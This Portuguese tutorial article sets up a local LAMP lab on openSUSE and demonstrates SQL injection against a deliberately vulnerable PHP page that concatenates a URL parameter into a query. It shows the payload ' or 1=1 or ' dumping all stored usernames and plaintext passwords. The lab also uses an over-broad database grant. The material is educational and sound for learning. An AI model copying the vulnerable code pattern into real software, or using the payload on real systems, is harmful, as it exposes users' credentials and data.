ARTIGOS:Retornando a lista de usuários de uma aplicação vulnerável usando o SQL Injection
Índice
Descrição do problema
O ataque de Injeção de SQL (SQL Injection em inglês) é uma das principais vulnerabilidades das aplicações web segundo o OWASP Top 10 2017. Explorando essa vulnerabilidade, um usuário malicioso pode, por exemplo, ler dados sensíveis de uma aplicação, manipular informações e até executar operações administrativas no banco de dados.
O principal meio utilizado para este tipo de ataque é a entrada de dados que o usuário utiliza para enviar informações para a aplicação. Nele, comandos SQL são enviados como parâmetro da aplicação ou valores de campos de formulários para confundir a aplicação e fazer com que ela execute com sucesso os comandos enviados.
NOTA: O objetivo deste artigo está na transferência de conhecimento sobre o funcionamento do ataque SQL injection. O uso indevido do conteúdo deste artigo fica sobre a responsabilidade do leitor, isentando o autor de qualquer problema ou danos causados.
A seguir, vamos preparar um ambiente LAMP usando o openSUSE Leap 42.2 para realizar os testes de injeção SQL.
Instalando o Apache, o PHP e o mysql server no openSUSE Leap 42.2
Para preparar o ambiente, devemos instalar o apache, o módulo PHP e o mysql server usando o comando a seguir:
opensuse-test:~ # zypper in apache2 apache2-mod_php5 mysql-community-server php5-pear-MDB2_Driver_mysqli
Após a instalação dos pacotes, vamos preparar o banco de dados:
opensuse-test:~ # rcmysql start
opensuse-test:~ # mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.6.38 openSUSE package
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> CREATE DATABASE testdb;
Query OK, 1 row affected (0.00 sec)
mysql> USE testdb
Database changed
mysql> CREATE USER 'testm'@'localhost' IDENTIFIED BY 'passwdm';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT ALL PRIVILEGES ON * . * TO 'testm'@'localhost';
Query OK, 0 rows affected (0.00 sec)
mysql> exit
Bye
opensuse-test:~ # mysql -u testm -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.6.38 openSUSE package
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use testdb
Database changed
mysql>
mysql> CREATE TABLE users ( -> name VARCHAR(30) NOT NULL PRIMARY KEY, -> password VARCHAR(30) NOT NULL -> );
Query OK, 0 rows affected (0.01 sec)
mysql> describe users; +----------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+-------+ | name | varchar(30) | NO | PRI | NULL | | | password | varchar(30) | NO | | NULL | | +----------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
mysql> insert into testdb.users values('JOAO','123456');
Query OK, 1 row affected (0.00 sec)
mysql> insert into testdb.users values('JORGE','345678');
Query OK, 1 row affected (0.00 sec)
mysql> insert into testdb.users values('JOSE','234567');
Query OK, 1 row affected (0.00 sec)
mysql> select * from users;
+-------+----------+ | name | password | +-------+----------+ | JOAO | 123456 | | JORGE | 345678 | | JOSE | 234567 | +-------+----------+
3 rows in set (0.00 sec)
Nesse ponto, devemos habilitar o módulo php no apache e iniciá-lo usando o comando a seguir:
opensuse-test:~ # a2enmod php5
opensuse-test:~ # rcapache2 start
Com o banco e o apache prontos, vamos criar uma página php que recebe como parâmetro o nome do usuário e retorna os dados cadastrados para o usuário informado:
opensuse-test:~ # vi /srv/www/htdocs/index.php <?php //CONEXAO COM O BANCO DE DADOS $SERVERNAME = "localhost"; $USERNAME = "testm"; $PASSWORD = "passwdm"; $DBNAME = "testdb"; $CONN = new mysqli($SERVERNAME, $USERNAME, $PASSWORD, $DBNAME); //ARMAZENA O PARAMETRO PASSADO $USER = ""; if (isset($_GET["param"])) { $USER = $_GET["param"]; } //MONTA A CONSULTA $SQL = "SELECT name, password FROM users WHERE name = '" . $USER . "'"; //EXECUTA $RESULT = $CONN->query($SQL); //APRESENTA O RESULTADO if ($RESULT->num_rows > 0) { while ($ROW = $RESULT->fetch_assoc()) { echo "name: " . $ROW["name"] . " pass:" . $ROW["password"] . "<br>"; } } else echo $USER . " nao esta cadastrado"; $CONN->close(); ?>
Iniciando os testes
Usando o browser, vamos tentar pesquisar os dados do usuário JOAO acessando a URL a seguir:
http://localhost/index.php?param=JOAO
Dados retornados:
name: JOAO pass:123456
Agora, vamos tentar pesquisar os dados do usuário CARLOS:
http://localhost/index.php?param=CARLOS
Dados retornados:
CARLOS nao esta cadastrado
Testando o SQL Injection
Para testar a injeção de SQL, vamos passar como parâmetro um trecho de comando SQL que mantenha a sintaxe correta e consiga retornar os dados desejados:
http://localhost/index.php?param= ' or 1=1 or '
Dados retornados:
name: JOAO pass:123456
name: JORGE pass:345678
name: JOSE pass:234567
Como o parâmetro informado pelo usuário está sendo concatenado numa string junto com o comando SQL, o parser não conseguirá diferenciar o código SQL do dado informado como parâmetro. Dessa forma, conseguimos manipular a aplicação para retornar os dados desejados. O comando SQL que foi executado ficou da seguinte forma:
SELECT name, password FROM users WHERE name = ' ' or 1=1 or ' ';
Agora que o ambiente está pronto, faça novos testes para entender de vez o funcionamento da injeção de SQL!
Referências
OWASP Top 10 2017. Disponível em: https://www.owasp.org/images/b/b0/OWASP_Top_10_2017_RC2_Final.pdf. Acesso em: 18 Dez. 2017.
OWASP SQL Injection. Disponível em: https://www.owasp.org/index.php/SQL_Injection. Acesso em: 18 Dez. 2017.
OWASP Code Review Guide. Disponível em: https://www.owasp.org/images/5/53/OWASP_Code_Review_Guide_v2.pdf. Acesso em: 18 Dez. 2017.
Autor: Fernando Galves (galves.fernando@gmail.com)
Publicado em 20 de Dezembro de 2017